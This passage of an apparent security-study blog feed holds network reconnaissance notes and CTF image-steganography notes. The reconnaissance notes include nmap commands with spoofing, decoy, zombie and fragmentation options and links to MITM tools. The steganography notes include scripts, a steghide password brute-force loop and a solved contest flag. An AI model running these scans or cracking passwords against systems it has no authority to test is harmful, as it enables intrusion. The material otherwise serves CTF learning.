fa-sm"></i></a></p><p><a class="link" href="https://fc04db.github.io/2024/07/08/Information-Gathering/">Information Gathering - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="ping"><a class="markdownIt-Anchor" href="#ping">#</a> ping</h3><h3 id="wappalyzer"><a class="markdownIt-Anchor" href="#wappalyzer">#</a> Wappalyzer</h3><h3 id="traceroute"><a class="markdownIt-Anchor" href="#traceroute">#</a> Traceroute</h3><p>traceroute 的目的是查找数据包在从系统传输到目标主机时经过的路由器或跃点的 IP 地址。它指示系统和目标主机之间的跃点（路由器）数。</p><p><code>traceroute MACHINE_IP</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202411102329045.png" alt="image-20241110232859992"></p><h3 id="nc"><a class="markdownIt-Anchor" href="#nc">#</a> nc</h3><h3 id="nmap"><a class="markdownIt-Anchor" href="#nmap">#</a> Nmap</h3><ul><li>list:  <code>MACHINE_IP scanme.nmap.org example.com</code>   将扫描 3 个 IP 地址。</li><li>range:  <code>10.11.12.15-20</code>  将扫描 6 个 IP 地址： <code>10.11.12.15</code> 、 <code>10.11.12.16</code> ,… 和  <code>10.11.12.20</code> 。</li><li>subnet:  <code>MACHINE_IP/30</code>  将扫描 4 个 IP 地址。</li></ul><p>ARP 查询仅在目标与您位于同一子网（即同一以太网 / WiFi 上）时有效。如果希望 Nmap 仅执行 ARP 扫描而不执行端口扫描，则可以使用  <code>nmap -PR -sn TARGETS，</code></p><ul><li>地址解析协议 （ARP） 负责查找与特定 IP 地址相关的 MAC（硬件）地址。它的工作原理是广播 ARP 查询，  <code>&quot;Who has this IP address? Tell me.&quot; </code> 响应的形式是 <code>&quot;The IP address is at this MAC address.&quot;</code></li></ul><table><thead><tr><th>扫描类型</th><th>示例命令</th></tr></thead><tbody><tr><td>（ARP）扫描</td><td><code>sudo nmap -PR -sn MACHINE_IP/24</code></td></tr><tr><td>ICMP 回声扫描</td><td><code>sudo nmap -PE -sn MACHINE_IP/24</code></td></tr><tr><td>ICMP 时间戳扫描</td><td><code>sudo nmap -PP -sn MACHINE_IP/24</code></td></tr><tr><td>ICMP 地址掩码扫描</td><td><code>sudo nmap -PM -sn MACHINE_IP/24</code></td></tr><tr><td>TCP 协议 SYN Ping 扫描</td><td><code>sudo nmap -PS22,80,443 -sn MACHINE_IP/30</code></td></tr><tr><td>TCP 协议 ACK Ping 扫描</td><td><code>sudo nmap -PA22,80,443 -sn MACHINE_IP/30</code></td></tr><tr><td>UDP 协议 Ping 扫描</td><td><code>sudo nmap -PU53,161,162 -sn MACHINE_IP/30</code></td></tr></tbody><tbody><tr><td>Port Scan Type 端口扫描类型</td><td>Example Command 示例命令</td></tr><tr><td>-----------------------------------</td><td>-----------------------------------------------------</td></tr><tr><td>TCP Null Scan TCP 协议空扫描</td><td><code>sudo nmap -sN MACHINE_IP</code></td></tr><tr><td>TCP FIN Scan TCP 协议 FIN 扫描</td><td><code>sudo nmap -sF MACHINE_IP</code></td></tr><tr><td>TCP Xmas Scan TCP 协议 Xmas 扫描</td><td><code>sudo nmap -sX MACHINE_IP</code></td></tr><tr><td>TCP Maimon Scan TCP 协议 Maimon 扫描</td><td><code>sudo nmap -sM MACHINE_IP</code></td></tr><tr><td>TCP ACK Scan TCP 协议 ACK 扫描</td><td><code>sudo nmap -sA MACHINE_IP</code></td></tr><tr><td>TCP Window Scan TCP 协议窗口扫描</td><td><code>sudo nmap -sW MACHINE_IP</code></td></tr><tr><td>Custom TCP Scan 自定义 TCP 扫描</td><td><code>sudo nmap --scanflags URGACKPSHRSTSYNFIN MACHINE_IP</code></td></tr><tr><td>Spoofed Source IP 欺骗源 IP</td><td><code>sudo nmap -S SPOOFED_IP MACHINE_IP</code></td></tr><tr><td>Spoofed MAC Address 欺骗性 MAC 地址</td><td><code>--spoof-mac SPOOFED_MAC</code></td></tr><tr><td>Decoy Scan 诱饵扫描</td><td><code>nmap -D DECOY_IP,ME MACHINE_IP</code></td></tr><tr><td>Idle (Zombie) Scan 空闲（僵尸）扫描</td><td><code>sudo nmap -sI ZOMBIE_IP MACHINE_IP</code></td></tr><tr><td>将 IP 数据分段为 8 个字节</td><td><code>-f</code></td></tr><tr><td>将 IP 数据分段为 16 个字节</td><td><code>-ff</code></td></tr></tbody></table><h3 id="arp-scan"><a class="markdownIt-Anchor" href="#arp-scan">#</a> arp-scan</h3><p><a class="link" href="https://www.royhills.co.uk/wiki/index.php/Arp-scan_option_summary">Arp-scan 选项摘要 - royhills — Arp-scan option summary - royhills <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="protocol"><a class="markdownIt-Anchor" href="#protocol">#</a> <strong>Protocol</strong></h2><table><thead><tr><th>Protocol 协议</th><th>TCP Port TCP 协议港口</th><th>Application (s) 应用</th><th>Data Security 数据安全</th></tr></thead><tbody><tr><td>FTP</td><td>21</td><td>File Transfer 文件传输</td><td>Cleartext 明文</td></tr><tr><td>FTPS</td><td>990</td><td>File Transfer 文件传输</td><td>Encrypted 加密</td></tr><tr><td>HTTP</td><td>80</td><td>Worldwide Web 万维网</td><td>Cleartext 明文</td></tr><tr><td>HTTPS</td><td>443</td><td>Worldwide Web 万维网</td><td>Encrypted 加密</td></tr><tr><td>IMAP</td><td>143</td><td>Email (MDA) 电子邮件 （MDA）</td><td>Cleartext 明文</td></tr><tr><td>IMAPS</td><td>993</td><td>Email (MDA) 电子邮件 （MDA）</td><td>Encrypted 加密</td></tr><tr><td>POP3</td><td>110</td><td>Email (MDA) 电子邮件 （MDA）</td><td>Cleartext 明文</td></tr><tr><td>POP3S</td><td>995</td><td>Email (MDA) 电子邮件 （MDA）</td><td>Encrypted 加密</td></tr><tr><td>SFTP</td><td>22</td><td>File Transfer 文件传输</td><td>Encrypted 加密</td></tr><tr><td>SSH</td><td>22</td><td>Remote Access and File Transfer 远程访问和文件传输</td><td>Encrypted 加密</td></tr><tr><td>SMTP</td><td>25</td><td>Email (MTA) 电子邮件 （MTA）</td><td>Cleartext 明文</td></tr><tr><td>SMTPS</td><td>465</td><td>Email (MTA) 电子邮件 （MTA）</td><td>Encrypted 加密</td></tr><tr><td>Telnet</td><td>23</td><td>Remote Access 远程访问</td><td>Cleartext 明文</td></tr></tbody></table><h3 id="man-in-the-middle-mitm-attack"><a class="markdownIt-Anchor" href="#man-in-the-middle-mitm-attack">#</a> Man-in-the-Middle (MITM) Attack</h3><p>当受害者 （A） 认为他们正在与合法目的地 （B） 通信，但在不知不觉中与攻击者 （E） 通信时，就会发生中间人 （MITM） 攻击</p><p><a class="link" href="https://www.ettercap-project.org/">Ettercap 主页 — Ettercap Home Page (ettercap-project.org) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="https://www.bettercap.org/">:: bettercap <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;passive-reconnaissance&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#passive-reconnaissance&quot;&gt;#&lt;/a&gt; Passive Reconnaissance&lt;/h1&gt;
&lt;h3 id=&quot;whois&quot;</summary>
      
    
    
    
    <category term="Web Penetration" scheme="http://example.com/categories/Web-Penetration/"/>
    
    
  </entry>
  
  <entry>
    <title>MISC Picture</title>
    <link href="http://example.com/2024/11/08/MISC-Picture/"/>
    <id>http://example.com/2024/11/08/MISC-Picture/</id>
    <published>2024-11-08T03:01:30.000Z</published>
    <updated>2024-11-08T03:02:21.954Z</updated>
    
    <content type="html"><![CDATA[<h2 id="miscpicture"><a class="markdownIt-Anchor" href="#miscpicture">#</a> MISC—Picture</h2><p>一键梭哈网站:<a class="link" href="https://aperisolve.fr/">https://aperisolve.fr/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="盲水印隐写"><a class="markdownIt-Anchor" href="#盲水印隐写">#</a> 盲水印隐写</h4><p><strong>一张图片的情况</strong></p><p>可以使用 隐形水印工具 V1.2 或者 WaterMark 来提取水印</p><p><strong>两张图片的情况</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">先把要处理的图片拉入BlindWaterMark-master文件夹，然后使用如下命令</span><br><span class="line">py bwmforpy3.py decode day1.png day2.png flag.png --oldseed</span><br><span class="line">Tips:这里还会出现FFT（傅里叶盲水印）:直接运行CTFD中的FFT.py</span><br></pre></td></tr></table></figure></div><h4 id="图片的分离和拼接"><a class="markdownIt-Anchor" href="#图片的分离和拼接">#</a> 图片的分离和拼接</h4><p>(1) 可以用 kali 的 convert 分离和 montage 拼接命令</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">分解GIF的命令：convert glance.gif flag.png</span><br><span class="line">水平镜像翻转图片：convert -flop reverse.jpg reversed.jpg</span><br><span class="line">垂直镜像翻转图片：convert -flip reverse.jpg reversed.jpg</span><br><span class="line">合成图片的命令：montage flag*.png -tile x1 -geometry +0+0 flag.png</span><br><span class="line">-tile是拼接时每行和每列的图片数，这里用x1，就是只一行</span><br><span class="line">-geometry是首选每个图和边框尺寸，我们边框为0，图照原始尺寸即可</span><br></pre></td></tr></table></figure></div><p>(2) 使用在线网站分解：<a class="link" href="https://tu.sioe.cn/gj/fenjie/%EF%BC%8Cstegsolve%E4%B9%9F%E5%8F%AF%E4%BB%A5">https://tu.sioe.cn/gj/fenjie/，stegsolve 也可以 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>(3) 用 py 脚本跑</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line">im = Image.new(<span class="string">&#x27;RGB&#x27;</span>, (<span class="number">2</span>*<span class="number">201</span>, <span class="number">600</span>))  <span class="comment"># new(mode,size) size is long and width</span></span><br><span class="line">PATH = <span class="string">&#x27;E:/ctf/glance.gif&#x27;</span></span><br><span class="line">FILE_NAME = [i <span class="keyword">for</span> i <span class="keyword">in</span> os.listdir(PATH)]</span><br><span class="line">width = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> FILE_NAME:</span><br><span class="line">    im.paste(Image.<span class="built_in">open</span>(PATH+i), (width, <span class="number">0</span>, width+<span class="number">2</span>, <span class="number">600</span>))  <span class="comment"># box is 左，上，右,下</span></span><br><span class="line">    width += <span class="number">2</span></span><br><span class="line">im.show()</span><br></pre></td></tr></table></figure></div><h4 id="像素点合成"><a class="markdownIt-Anchor" href="#像素点合成">#</a> 像素点合成</h4><p>注：Linux wc 命令用于计算字数。</p><p>-l 或–lines 显示行数。</p><p>-w 或–words 只显示字数。</p><p>-c 或–bytes 或–chars 只显示 Bytes 数。</p><p>可以改个标题后用在线网站将 txt 转换为 ppm 文件 https://convertfree.com/cn/txt-to-ppm#google_vignette</p><h4 id="oursecret隐写"><a class="markdownIt-Anchor" href="#oursecret隐写">#</a> OurSecret 隐写</h4><p>拉入 OurSecret，输入密码解密，得到隐藏文件</p><h4 id="拼图题"><a class="markdownIt-Anchor" href="#拼图题">#</a> 拼图题</h4><p><strong>碎图片合成一张图片</strong></p><div class="highlight-container" data-rel="Cmd"><figure class="iseeu highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#在Windows中使用imagemagick处理</span><br><span class="line">magick.exe montage *.png -tile <span class="number">18</span>x10 -geometry <span class="number">125</span>x125+<span class="number">0</span>+<span class="number">0</span> flag.jpg</span><br><span class="line">magick montage *.png -tile <span class="number">40</span>x22 -geometry +<span class="number">0</span>+<span class="number">0</span> flag-<span class="number">0</span>.png</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#在kali中处理</span></span><br><span class="line">拉入kali里处理，如果是碎的图片，</span><br><span class="line">先使用 montage *.PNG -tile 12x12 -geometry +0+0 out.png合成一张图片</span><br><span class="line">*.png表示匹配所有图片</span><br><span class="line">-tile表示图片的张数</span><br><span class="line">-geometry +0+0表示每张图片的间距为0</span><br><span class="line">合成后要先查看图片的宽高（宽高要相等，不相等要用PS调整）</span><br></pre></td></tr></table></figure></div><p><strong>也可以使用 gaps 智能拼图</strong></p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gaps --image=out.png --generation=30 --population=144 --size=30 --save </span><br><span class="line"></span><br><span class="line">--image 指向拼图的路径</span><br><span class="line">--size 拼图块的像素尺寸</span><br><span class="line">--generations 遗传算法的代的数量</span><br><span class="line">--population 个体数量</span><br><span class="line">--verbose 每一代训练结束后展示最佳结果</span><br><span class="line">--save 将拼图还原为图像</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">gaps --image=flag.jpg --generations=50 --population=180 --size=125 --verbose</span><br><span class="line"></span><br><span class="line">-generations 你要迭代多少次</span><br><span class="line">-population 你有多少个小拼图</span><br><span class="line">--size 每张小图，也就是拼图小块的大小</span><br><span class="line">--verbose 实时显示</span><br></pre></td></tr></table></figure></div><h4 id="近邻法缩放图片"><a class="markdownIt-Anchor" href="#近邻法缩放图片">#</a> 近邻法缩放图片</h4><p>在 PS 中打开图片，然后在更改图像大小中，将宽高调成指定像素并将重新采样选项选为邻近（硬边缘）</p><h4 id="pixeljihad有密码"><a class="markdownIt-Anchor" href="#pixeljihad有密码">#</a> pixeljihad（有密码）</h4><p>直接使用在线网站解密即可：<a class="link" href="https://sekao.net/pixeljihad/">PixelJihad (sekao.net) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="隐写文本可能藏在原图片和隐写文件的中间"><a class="markdownIt-Anchor" href="#隐写文本可能藏在原图片和隐写文件的中间">#</a> 隐写文本可能藏在原图片和隐写文件的中间</h4><p>直接在 010 中搜索 IEND，然后查看后面有没有额外内容即可</p><h4 id="提取图片中等距的像素点得到隐写的图片"><a class="markdownIt-Anchor" href="#提取图片中等距的像素点得到隐写的图片">#</a> 提取图片中等距的像素点得到隐写的图片</h4><p>在 windows 的终端 wt 中运行 CTFD 中的 Get_Pixels.py</p><h4 id="silenteye隐写"><a class="markdownIt-Anchor" href="#silenteye隐写">#</a> silenteye 隐写</h4><p>特征：放大图像后会有行列不对齐的小灰块</p><p>直接用 silenteye 打开输入密钥 decode 即可，默认密钥是 silenteye</p><h4 id="图片报错改宽高后图片无变化"><a class="markdownIt-Anchor" href="#图片报错改宽高后图片无变化">#</a> 图片报错改宽高后图片无变化</h4><p>可以再 foremost 一下</p><h4 id="deegger-embedder隐写"><a class="markdownIt-Anchor" href="#deegger-embedder隐写">#</a> DeEgger Embedder 隐写</h4><p>可以直接使用 DeEgger Embedder 工具 extract files</p><h4 id="flag可能藏在-exif-中"><a class="markdownIt-Anchor" href="#flag可能藏在-exif-中">#</a> flag 可能藏在 exif 中</h4><p>直接在 linux 中输入以下命令查看即可，如果偷懒也可以直接使用 破空 flag 查找工具 进行查找</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">exiftool 3.jpg</span><br></pre></td></tr></table></figure></div><h4 id="给了两张图片flag藏在每行不同像素的个数中"><a class="markdownIt-Anchor" href="#给了两张图片flag藏在每行不同像素的个数中">#</a> 给了两张图片，flag 藏在每行不同像素的个数中</h4><p>例题 1-2023 羊城杯初赛 - 两支老虎</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image, ImageChops</span><br><span class="line"></span><br><span class="line">img1 = Image.<span class="built_in">open</span>(<span class="string">&quot;1.png&quot;</span>)</span><br><span class="line">width1,heigth1 = img1.size <span class="comment"># 1134,720</span></span><br><span class="line">img2 = Image.<span class="built_in">open</span>(<span class="string">&quot;2.png&quot;</span>) </span><br><span class="line">width2,heigth2 = img2.size <span class="comment"># 1144,720</span></span><br><span class="line">img2 = img2.crop((<span class="number">0</span>,<span class="number">0</span>,<span class="number">1134</span>,<span class="number">720</span>))</span><br><span class="line">width2,heigth2 = img2.size</span><br><span class="line"><span class="comment"># img2.save(&quot;3.png&quot;)</span></span><br><span class="line"></span><br><span class="line">diff_dit = &#123;&#125;</span><br><span class="line"><span class="comment"># 返回差异图像，表示 img1 和 img2 之间的像素差异。</span></span><br><span class="line">diff = ImageChops.difference(img1,img2)</span><br><span class="line">width3,heigth3 = diff.size</span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(width3):</span><br><span class="line">    <span class="keyword">for</span> y <span class="keyword">in</span> <span class="built_in">range</span>(heigth3):</span><br><span class="line">        pixel3 = <span class="built_in">str</span>(diff.getpixel((x,y)))</span><br><span class="line">        <span class="comment"># 统计一下差异像素</span></span><br><span class="line">        <span class="keyword">if</span> pixel3 <span class="keyword">not</span> <span class="keyword">in</span> diff_dit: </span><br><span class="line">            diff_dit[pixel3] = <span class="number">0</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            diff_dit[pixel3] += <span class="number">1</span></span><br><span class="line"><span class="built_in">print</span>(diff_dit) </span><br><span class="line"><span class="comment"># &#123;&#x27;(0, 0, 0)&#x27;: 813891, &#x27;(1, 1, 1)&#x27;: 2533, &#x27;(1, 1, 0)&#x27;: 53&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> y <span class="keyword">in</span> <span class="built_in">range</span>(heigth1):</span><br><span class="line">    cnt = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(width1):</span><br><span class="line">        pixel1 = img1.getpixel((x,y))</span><br><span class="line">        pixel2 = img2.getpixel((x,y))</span><br><span class="line">        <span class="keyword">if</span> pixel1 != pixel2:</span><br><span class="line">            cnt += <span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> cnt != <span class="number">0</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">chr</span>(cnt),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="comment"># DASCTF&#123;tWo_t1gers_rUn_f@st&#125;</span></span><br></pre></td></tr></table></figure></div><h3 id="png"><a class="markdownIt-Anchor" href="#png">#</a> PNG</h3><h4 id="crc错误不能乱改改宽高"><a class="markdownIt-Anchor" href="#crc错误不能乱改改宽高">#</a> CRC 错误 (不能乱改)，改宽高</h4><p>脚本爆破</p><h4 id="lsb最低有效位隐写"><a class="markdownIt-Anchor" href="#lsb最低有效位隐写">#</a> LSB (最低有效位) 隐写:</h4><p><strong>没有密钥的情况</strong></p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 用zsteg快速查看</span></span><br><span class="line">zsteg -a (文件名)  <span class="comment">#查看各个通道的lsb</span></span><br><span class="line">-b的位数是从1开始的 zsteg zlib.bmp -b 1 -o xy -v</span><br><span class="line">提取文件并导出 zsteg -e b1,r,lsb,xy 3.png &gt; 123.jpg</span><br></pre></td></tr></table></figure></div><p>stegsolve 保险一点</p><p><strong>有密钥的情况（cloacked-pixel）</strong></p><p>lsb 隐写的可能是加密后的数据，i 春秋最喜欢的<strong> cloacked-pixel</strong></p><p>拉到 kali/WSL 里用 cloacked-pixel 命令解密出数据</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python2 cloacked-pixel-master/lsb.py extract 0.png out.data f78dcd383f1b574b</span><br></pre></td></tr></table></figure></div><p>0.png 是隐写后的图片；out.data 是隐写内容保存的位置；f78dcd383f1b574b 是密钥</p><h4 id="idat块隐写"><a class="markdownIt-Anchor" href="#idat块隐写">#</a> IDAT 块隐写</h4><p><strong>(1) 解压 zlib 获得原始数据</strong></p><p>然后用 010 提取数据扔进 zlib 脚本解压获得原始数据</p><p>将异常的 IDAT 数据块斩头去尾之后使用脚本解压，在 python2 代码如下：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> zlib</span><br><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line">IDAT = <span class="string">&quot;789C5D91011280400802BF04FFFF5C75294B5537738A21A27D1E49CFD17DB3937A92E7E603880A6D485100901FB0410153350DE83112EA2D51C54CE2E585B15A2FC78E8872F51C6FC1881882F93D372DEF78E665B0C36C529622A0A45588138833A170A2071DDCD18219DB8C0D465D8B6989719645ED9C11C36AE3ABDAEFCFC0ACF023E77C17C7897667&quot;</span>.decode(<span class="string">&#x27;hex&#x27;</span>)</span><br><span class="line">result = binascii.hexlify(zlib.decompress(IDAT))</span><br><span class="line"><span class="built_in">print</span> (result.decode(<span class="string">&#x27;hex&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span> (<span class="built_in">len</span>(result.decode(<span class="string">&#x27;hex&#x27;</span>)))</span><br></pre></td></tr></table></figure></div><p><strong>(2) 加上文件头爆破宽高得到新的图片</strong></p><p>一般出问题的 IDAT Chunk 大小都是比正常的小的，很可能在图片末尾</p><p>如果不确定是哪一个有问题，可以尝试都提取出来，一个一个分析</p><p>可以使用 tweakpng 辅助分析，但是一般用 010 的模板提取分析就够了</p><p>我们可用 kali 中的 ** <code>pngcheck -v 0.png</code> ** 检查 IDAT</p><h4 id="png数据末尾藏zip"><a class="markdownIt-Anchor" href="#png数据末尾藏zip">#</a> png 数据末尾藏 zip</h4><p>补上压缩包的文件头，然后提取出来，解压 (可用 stegpy 得到解压密码)。</p><p>或者直接 foremost 提取</p><h4 id="apngdis_gui"><a class="markdownIt-Anchor" href="#apngdis_gui">#</a> apngdis_gui</h4><p>一张 png 图片还可能是 apng，直接用 apngdis_gui 跑一下，可以分出两张相似的 png</p><h4 id="cve-2023-28303-截图工具漏洞"><a class="markdownIt-Anchor" href="#cve-2023-28303-截图工具漏洞">#</a> CVE-2023-28303 截图工具漏洞</h4><p>可以使用 Github 上大佬写好的工具一把梭，前提是需要知道原图的分辨</p><h3 id="jpg"><a class="markdownIt-Anchor" href="#jpg">#</a> JPG</h3><h4 id="用stegdectet看看是什么加密"><a class="markdownIt-Anchor" href="#用stegdectet看看是什么加密">#</a> 用 stegdectet 看看是什么加密：</h4><p><code>.\stegdetect.exe -t jopi -s 10.0 .\0.jpg</code></p><h4 id="steghide隐写"><a class="markdownIt-Anchor" href="#steghide隐写">#</a> steghide 隐写</h4><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#如果密码已经知道了</span></span><br><span class="line">steghide extract -sf filename -p passwd</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#如果密码未知</span></span><br><span class="line">可以用下面这个脚本爆破</span><br><span class="line"><span class="comment">#bruteStegHide.sh</span></span><br><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> line <span class="keyword">in</span> `<span class="built_in">cat</span> <span class="variable">$2</span>`;<span class="keyword">do</span></span><br><span class="line">    steghide extract -sf <span class="variable">$1</span> -p <span class="variable">$line</span> &gt; /dev/null 2&gt;&amp;1</span><br><span class="line">    <span class="keyword">if</span> [[ $? -eq 0 ]];<span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&#x27;password is: &#x27;</span><span class="variable">$line</span></span><br><span class="line">        <span class="built_in">exit</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#或者在WSL或者kali里用Stegseek跑（字典在wordlist里）</span></span><br><span class="line">stegseek filename rockyou.txt</span><br></pre></td></tr></table></figure></div><h4 id="outguess隐写"><a class="markdownIt-Anchor" href="#outguess隐写">#</a> outguess 隐写</h4><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">outguess -k <span class="string">&quot;abc&quot;</span> -r mmm.jpg flag.txt</span><br><span class="line"><span class="comment">#-k 后面跟的是解密的密钥</span></span><br><span class="line"><span class="comment">#flag.txt是解密后数据保存的位置</span></span><br></pre></td></tr></table></figure></div><h4 id="f5-steganography-master"><a class="markdownIt-Anchor" href="#f5-steganography-master">#</a> F5-steganography-master</h4><div class="highlight-container" data-rel="Cmd"><figure class="iseeu highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#有密码的情况</span><br><span class="line">java Extract beautiful.jpg -p passwd</span><br><span class="line">#无密码的情况</span><br><span class="line">java Extract beautiful.jpg</span><br><span class="line">#解密出来的数据会放到F5文件夹下的output.txt中</span><br></pre></td></tr></table></figure></div><h4 id="jpg宽高隐写"><a class="markdownIt-Anchor" href="#jpg宽高隐写">#</a> JPG 宽高隐写</h4><p>010 打开 JPG 图片，找到 struct SOF 块数据，手动调整宽高即可</p><h3 id="bmp"><a class="markdownIt-Anchor" href="#bmp">#</a> BMP</h3><h4 id="bmp宽高爆破"><a class="markdownIt-Anchor" href="#bmp宽高爆破">#</a> bmp 宽高爆破</h4><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span 